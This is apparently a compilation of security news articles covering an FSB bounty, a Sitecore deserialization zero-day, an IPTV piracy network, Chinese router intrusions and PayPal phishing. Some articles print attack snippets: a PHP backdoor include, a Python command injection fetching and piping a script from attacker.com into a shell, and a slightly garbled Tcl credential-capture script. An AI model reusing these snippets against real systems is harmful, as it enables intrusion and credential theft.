• The United States government has announced a reward of up to $10 million for information leading to the identification or location of three Russian intelligence officers.

    The bounty, offered through the Department of State’s Rewards for Justice program, targets members of the Russian Federal Security Service (FSB) accused of conducting widespread malicious cyber campaigns against U.S. critical infrastructure.

    The announcement coincides with a new warning from the Federal Bureau of Investigation (FBI) detailing the activities of the FSB’s Center 16 unit.

    The FBI has detected these state-sponsored hackers exploiting a known vulnerability in Cisco networking equipment to infiltrate computer networks globally.

    The three officers identified in the reward posting are Marat Valeryevich Tyukov, Mikhail Mikhailovich Gavrilov, and Pavel Aleksandrovich Akulov.

    In addition to their attacks on U.S. targets, the trio is accused of targeting over 500 foreign energy companies across 135 countries.

    US Offers $10M Bounty For FSB Hackers

    According to the FBI, the FSB cyber actors have been exploiting CVE-2018-0171, a critical vulnerability in the Cisco Smart Install (SMI) protocol.

    The hackers specifically target end-of-life networking devices that are no longer receiving security updates.

    By leveraging the Simple Network Management Protocol (SNMP) and the unpatched Cisco vulnerability, the group successfully collected configuration files from thousands of networking devices associated with U.S. entities in critical sectors.

    Once inside the networks, the actors modified device configurations to create unauthorized backdoors.

    This persistent access was then used to conduct detailed reconnaissance, with a particular focus on protocols and applications commonly used in industrial control systems (ICS).

    This focus indicates a clear and dangerous interest in systems that manage essential services, such as power grids, water treatment plants, and manufacturing facilities.

    This FSB hacking unit, known by various names in the cybersecurity community, including “Berserk Bear,” “Dragonfly,” and “Static Tundra,” has been active for over a decade.

    The group has a long history of compromising networking devices worldwide, often by targeting equipment that uses legacy, unencrypted protocols like SMI and older versions of SNMP.

    Their tradecraft includes deploying custom malware, such as the tool publicly identified as “SYNful Knock” in 2015, which was designed to compromise specific Cisco devices.

    In response to this persistent threat, U.S. federal agencies and private sector partners have issued multiple alerts. Additionally, Cisco’s Talos intelligence group published its own analysis of the threat actor on August 20, 2025.

    The Rewards for Justice program is now soliciting tips through a secure Tor-based channel, offering potential relocation in addition to the multimillion-dollar reward for information that helps disrupt these ongoing cyber operations.

  • A critical zero-day vulnerability in several Sitecore products could allow attackers to execute code remotely.

    The vulnerability, identified as CVE-2025-53690, stems from a ViewState deserialization flaw and is being actively exploited in the wild.

    The investigation by Mandiant revealed that attackers are leveraging exposed ASP.NET machine keys that were included in Sitecore deployment guides from 2017 and earlier.

    These keys allow malicious actors to bypass validation mechanisms and send harmful ViewState payloads to servers, leading to remote code execution.

    Sitecore has acknowledged the vulnerability, labeling it SC2025-005, and has confirmed that it affects customers who used the sample machine key from the outdated deployment guides.

    The company has since updated its deployment processes to generate unique machine keys automatically and has notified affected customers.

    Impacted Products And Attack Details

    The vulnerability potentially impacts several of Sitecore’s main products, including:

    • Experience Manager (XM)
    • Experience Platform (XP)
    • Experience Commerce (XC)
    • Managed Cloud

    Products such as XM Cloud, Content Hub, and OrderCloud are not affected. Sitecore urges customers to consult their official advisory for a complete list and guidance.

    Mandiant’s rapid response disrupted the attack before the full lifecycle could be observed, but their investigation provided significant insights into the attacker’s methods.

    The attack began with the exploitation of the ViewState deserialization vulnerability on an internet-facing Sitecore instance. The attacker then used a custom malware, dubbed WEEPSTEEL, for internal reconnaissance.

    This malware, embedded in a decrypted ViewState payload, gathered system, network, and user information, which was then encrypted and exfiltrated.

    Following the initial compromise, the attacker staged several open-source tools in a public directory to expand their foothold. These included:

    • EARTHWORM: A network tunneling tool to create a covert command-and-control channel.
    • DWAGENT: A remote access tool for persistent access.
    • SHARPHOUND: An Active Directory reconnaissance tool.

    The threat actor then escalated their privileges by creating local administrator accounts and attempted to dump credentials from the SAM/SYSTEM hives to facilitate lateral movement across the network using the Remote Desktop Protocol (RDP).

    To maintain their presence, they installed DWAGENT as a service and modified account settings to prevent password expiration.

    Mitigations

    Mandiant recommends that all Sitecore customers review their environments and implement security best practices for ASP.NET.

    This includes automating machine key rotation, enabling View State Message Authentication Code (MAC), and encrypting any plaintext secrets.

    Sitecore has provided detailed remediation instructions in its official advisory (SC2025-005).

    The company strongly encourages customers to ensure their environments are running security-supported versions and to apply all available security fixes without delay.

    The discovery of this vulnerability highlights the persistent danger of using default or sample configurations in production environments and underscores the need for continuous security monitoring and proactive patching.

The findings highlight the immense scale and profitability of modern digital piracy. The network illegally streams premium content from […]

    The post Extensive IPTV Network Spanning 1,000+ Domains and 10,000+ IP Addresses appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

  • A sprawling network of illicit Internet Protocol Television (IPTV) services has been discovered, operating across more than 1,100 domains and in excess of 10,000 IP addresses.

    This sprawling infrastructure, which has remained active for several years, delivers unauthorized streams of premium content—including major sports leagues, subscription services, and on-demand platforms—without licensing agreements.

    Silent Push analysts noted that this network’s use of both high-volume IP address pools and rapidly rotating domains represents a significant escalation in piracy tactics, making traditional takedown processes nearly futile.

    At its core, the network relies on customized IPTV panels built around modified open-source software such as Stalker Portal and Xtream UI.

    These panels facilitate automated user authentication and stream distribution, allowing operators to provision hundreds of thousands of simultaneous sessions.

    Rather than depending on a single front-end domain, the operators employ a large pool of proxy domains—each resolving to multiple shared IP addresses—to obfuscate the true origin of the streams.

    Silent Push researchers identified two companies, XuiOne and Tiyansoft, and an individual, Nabi Neamati of Herat, Afghanistan, as principal beneficiaries of this infrastructure.

    The attack vectors begin with server-side exploitation and credential harvesting. Malicious actors compromise under-protected web hosts or exploit outdated control panels to install custom modules that inject backdoors into legitimate streaming control software.

    In many cases, operators gain initial access by exploiting default credentials on cPanel, Plesk, and Stalker Portal installations.

    Once access is secured, a deployment script—often obfuscated via Base64 encoding—pushes modified PHP files and cron jobs to automate the registration of new domains and the rotation of stream endpoints.

    Silent Push analysts identified one such script that uses the following code snippet to register new virtual hosts:

    $domain = trim(shell_exec('wp option get siteurl'));
    $ipList = ['158.220.114.199','46.202.197.208'];
    foreach ($ipList as $ip) {
        shell_exec("echo '$domain IN A $ip' >> /etc/bind/db.piracy");
    }
    shell_exec('rndc reload');

    Despite repeated takedown requests, the network’s agility in rotating both domains and IP addresses allows it to remain operational.

    New domains appear almost daily, with each resolving to clusters of dynamic IP addresses provisioned via bullet-proof hosting providers.

    This resilient structure poses a formidable challenge to rights holders and law enforcement agencies attempting to disrupt the service.

    Infection Mechanism Through Control Panel Exploits

    A particularly insidious aspect of this IPTV piracy network is its infection mechanism, which centers on compromised control panels.

    Xtream UI (Source – Silent Push)

    Operators survey the internet for misconfigured or outdated installations of Stalker Portal and Xtream UI, using automated scanners to detect vulnerable endpoints on ports 80, 8080, and 2095.

    Stalker Portal and Xtream portal (Source – Silent Push)

    Upon identifying a target, they deploy a multi-stage payload that begins with a low-profile reconnaissance module.

    This module enumerates existing user accounts, collects hashed credentials, and exfiltrates configuration files containing API keys.

    A second stage installs a persistent backdoor by modifying the config.php file within the panel’s directory:-

    if (!defined('IPTV_INIT')) {
        define('IPTV_INIT', true);
        require_once __DIR__ . '/backdoor.php';
    }

    The backdoor script, backdoor.php, establishes a reverse shell to a command-and-control server whenever an administrator logs in, effectively granting the attackers full control over the panel.

    This persistent foothold enables continuous updates to the hosting infrastructure, seamless domain registration, and dynamic IP assignment—ensuring that new entry points replace any that have been taken down.

    As a result, the network can sustain large-scale piracy operations with minimal interruption.

  • Over the past several years, a concerted campaign by Chinese state-sponsored Advanced Persistent Threat (APT) groups has exploited critical vulnerabilities in enterprise-grade routers to establish long-term footholds within global telecommunications and government networks.

    These actors, often identified under monikers such as Salt Typhoon and OPERATOR PANDA, have systematically targeted provider edge (PE) and customer edge (CE) devices from leading vendors, leveraging publicly disclosed Common Vulnerabilities and Exposures (CVEs) to gain initial unauthorized access.

    Their operations have demonstrated a high degree of stealth, chaining multiple exploits to move laterally and evade conventional detection tools.

    The typical multi-stage attack flow begins with a web-component injection and culminating in embedded packet capture.

    In initial intrusion attempts, threat actors commonly exploit CVE-2024-21887 in Ivanti Connect Secure and CVE-2024-3400 within Palo Alto Networks PAN-OS GlobalProtect.

    These flaws allow remote code execution through crafted HTTP requests, granting attackers a foothold in the router’s privileged management interface.

    While researchers noted that once access is achieved, the actors pivot swiftly, exploiting older vulnerabilities such as CVE-2018-0171 in Cisco IOS smart install, and CVE-2023-20198 in IOS XE web management modules, creating a dependable chain of escalation and persistence.

    Cyble analysts identified rapid weaponization of publicly available proof-of-concept exploit code, often tailored in Python or Tcl scripts to suit specific router environments.

    A representative snippet used in these campaigns is shown here, demonstrating command injection via the web management interface:-

    import requests
    
    url = "https[:]//192.0.2.1/+CSCOE+/translation-table?type=misc&text_scale=1"
    payload = {"command"[:] "system ('curl http[:]//attacker.com/shell[.]sh | sh')"}
    response = requests[.]post (url, data=payload, verify=False)
    print (response[.]status_code, response[.]text)

    Leveraging this technique, attackers achieve remote shell execution, subsequently deploying custom tooling to harvest configuration files, credentials, and session data.

    Persistence Tactics

    After initial access, Chinese APT groups focus on embedding themselves deeply within the router’s operating environment to ensure longevity.

    They alter Access Control Lists (ACLs) to whitelist attacker-controlled IP addresses and open non-standard ports such as 32768 and 8081 for covert access.

    In many cases, malefactors exploit Cisco’s Embedded Packet Capture (EPC) functionality to siphon TACACS+ and RADIUS authentication traffic, effectively harvesting clear-text credentials. To automate this, they deploy Tcl-based scripts stored in the router’s flash memory:

    package require json
    set cap Cmd [list "ip" "packet" "capture" "point-to-point" "rtl" "1000"]
    exec {*}$capCmd > flash:auth_capture[.]pcap

    These scripts run at boot time, triggered via altered startup configurations, creating persistent PCAP files that are periodically exfiltrated over encrypted GRE tunnels.

    By manipulating the AAA (Authentication, Authorization, Accounting) configuration, the actors redirect logs and disable alerting features, effectively blinding enterprise defenders.

    Through these methods, the compromised devices become reliable launchpads for broader enterprise infiltration, allowing the APT actors to maintain a stealthy presence for months or even years.

  • A sophisticated phishing campaign targeting PayPal’s massive user base has emerged, utilizing deceptive “Set up your account profile” emails to compromise user accounts through an ingenious secondary user addition scheme.

    The attack leverages advanced email spoofing techniques and psychological manipulation tactics to bypass traditional security awareness measures, representing a significant evolution in financial fraud methodologies.

    The scam operates through carefully crafted emails that appear to originate from legitimate PayPal addresses such as service@paypal.com and service@paypal.co.uk.

    Fake email (Source – Malwarebytes)

    However, threat actors employ address spoofing techniques that exploit inherent weaknesses in email authentication protocols.

    The attackers configure their email clients to display fraudulent sender addresses, taking advantage of the fact that most email systems lack stringent verification mechanisms for “From” field authenticity.

    Recipients receive messages claiming detection of a new payment profile with charges of $910.45 USD at Kraken.com, a legitimate cryptocurrency trading platform.

    The emails feature authentic PayPal branding and layout elements, likely extracted from genuine PayPal communications.

    Fake email body (Source – Malwarebytes)

    Malwarebytes analysts noted several critical red flags within these messages, including unusual recipient addresses utilizing compromised domains with “.test-google-a.com” extensions, subject lines misaligned with email content, and absence of personalized greetings that legitimate PayPal communications always include.

    Sophisticated Account Takeover Mechanism

    The campaign’s most insidious element involves redirecting victims to authentic PayPal infrastructure rather than traditional phishing sites.

    When users click the embedded links, they unwittingly initiate PayPal’s legitimate secondary user addition process instead of the expected profile setup or payment dispute resolution.

    This technique represents a paradigm shift from conventional phishing approaches, as it exploits PayPal’s own functionality to achieve malicious objectives.

    The secondary user addition process grants extensive account privileges, including payment authorization capabilities.

    Once successfully added as a secondary user, threat actors gain sufficient access to drain victims’ PayPal balances and conduct unauthorized transactions.

    This approach bypasses many traditional anti-phishing measures since the destination URLs resolve to legitimate PayPal domains, making detection significantly more challenging for both automated security systems and end users.

    The campaign has reportedly operated for over a month, targeting PayPal’s 434 million active users through databases of email addresses associated with PayPal accounts or previous PayPal interactions.
